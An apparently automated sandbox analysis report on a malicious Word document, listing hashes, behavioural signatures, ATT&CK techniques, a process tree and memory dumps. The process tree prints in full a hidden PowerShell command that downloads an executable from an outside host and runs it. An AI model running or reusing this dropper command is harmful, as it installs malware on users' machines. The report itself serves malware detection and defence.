31046cbfa8c6364855b43d999a13c67fc72ef56de93a2d0dc5de23fdfb16f923

General

Target

31046cbfa8c6364855b43d999a13c67fc72ef56de93a2d0dc5de23fdfb16f923.doc
Size

110KB
MD5

779769658592b517ac94754b2e1440e0
SHA1

267ad7195a092fd012c5f7e7bead95ef4628d3cb
SHA256

31046cbfa8c6364855b43d999a13c67fc72ef56de93a2d0dc5de23fdfb16f923
SHA512

3806f137ce0546814c8ec2fa5f4383893547431fa63c9d8416094c7eaecd188f40361099c68278e3cc0924b1c73d3f7fa3971eb6e1a08fc4b3601187b551bf84
SSDEEP

1536:d9ITuk/hms5bEb+FtYuvck3fu6Va8KefAQGQ2ZiYxXJXs:d9MV/XI+FtTvcAU0STi85s

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://w2afipbza0zj.pw/blog/wnx0bykhutp2.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2908	3312	cmd.exe	WINWORD.EXE

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4464 powershell.exe

pid	process
4464	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3312 WINWORD.EXE
3312 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4464 powershell.exe
4464 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4464 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3312 WINWORD.EXE
3312 WINWORD.EXE
3312 WINWORD.EXE
3312 WINWORD.EXE
3312 WINWORD.EXE
3312 WINWORD.EXE
3312 WINWORD.EXE

pid	process
3312	WINWORD.EXE
3312	WINWORD.EXE

pid	process
4464	powershell.exe
4464	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4464	powershell.exe

pid	process
3312	WINWORD.EXE
3312	WINWORD.EXE
3312	WINWORD.EXE
3312	WINWORD.EXE
3312	WINWORD.EXE
3312	WINWORD.EXE
3312	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 3312 wrote to memory of 2908	3312	WINWORD.EXE	cmd.exe
PID 3312 wrote to memory of 2908	3312	WINWORD.EXE	cmd.exe
PID 2908 wrote to memory of 4464	2908	cmd.exe	powershell.exe
PID 2908 wrote to memory of 4464	2908	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\31046cbfa8c6364855b43d999a13c67fc72ef56de93a2d0dc5de23fdfb16f923.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3312

C:\Windows\SYSTEM32\cmd.exe
cmd.exe /c cd decennialimpuredistributorHadesnature & PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('http://w2afipbza0zj.pw/blog/wnx0bykhutp2.exe','%TEMP%\meld.exe');Start (%TEMP%\meld.exe)
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2908

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('http://w2afipbza0zj.pw/blog/wnx0bykhutp2.exe','C:\Users\Admin\AppData\Local\Temp\meld.exe');Start (C:\Users\Admin\AppData\Local\Temp\meld.exe)
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4464

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCDE198.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bu40jkww.d2n.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
16B

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
memory/3312-13-0x00007FFD5DF90000-0x00007FFD5E185000-memory.dmp

Filesize
2.0MB

Download
memory/3312-14-0x00007FFD5DF90000-0x00007FFD5E185000-memory.dmp

Filesize
2.0MB

Download
memory/3312-5-0x00007FFD5E02D000-0x00007FFD5E02E000-memory.dmp

Filesize
4KB

Download
memory/3312-7-0x00007FFD5DF90000-0x00007FFD5E185000-memory.dmp

Filesize
2.0MB

Download
memory/3312-6-0x00007FFD5DF90000-0x00007FFD5E185000-memory.dmp

Filesize
2.0MB

Download
memory/3312-9-0x00007FFD5DF90000-0x00007FFD5E185000-memory.dmp

Filesize
2.0MB

Download
memory/3312-12-0x00007FFD5DF90000-0x00007FFD5E185000-memory.dmp

Filesize
2.0MB

Download
memory/3312-0-0x00007FFD1E010000-0x00007FFD1E020000-memory.dmp

Filesize
64KB

Download
memory/3312-11-0x00007FFD5DF90000-0x00007FFD5E185000-memory.dmp

Filesize
2.0MB

Download
memory/3312-4-0x00007FFD1E010000-0x00007FFD1E020000-memory.dmp

Filesize
64KB

Download
memory/3312-15-0x00007FFD1BD40000-0x00007FFD1BD50000-memory.dmp

Filesize
64KB

Download
memory/3312-10-0x00007FFD5DF90000-0x00007FFD5E185000-memory.dmp

Filesize
2.0MB

Download
memory/3312-8-0x00007FFD5DF90000-0x00007FFD5E185000-memory.dmp

Filesize
2.0MB

Download
memory/3312-16-0x00007FFD1BD40000-0x00007FFD1BD50000-memory.dmp

Filesize
64KB

Download
memory/3312-3-0x00007FFD1E010000-0x00007FFD1E020000-memory.dmp

Filesize
64KB

Download
memory/3312-1615-0x00007FFD5DF90000-0x00007FFD5E185000-memory.dmp

Filesize
2.0MB

Download
memory/3312-1-0x00007FFD1E010000-0x00007FFD1E020000-memory.dmp

Filesize
64KB

Download
memory/3312-2-0x00007FFD1E010000-0x00007FFD1E020000-memory.dmp

Filesize
64KB

Download
memory/4464-1124-0x00000233C49D0000-0x00000233C49F2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads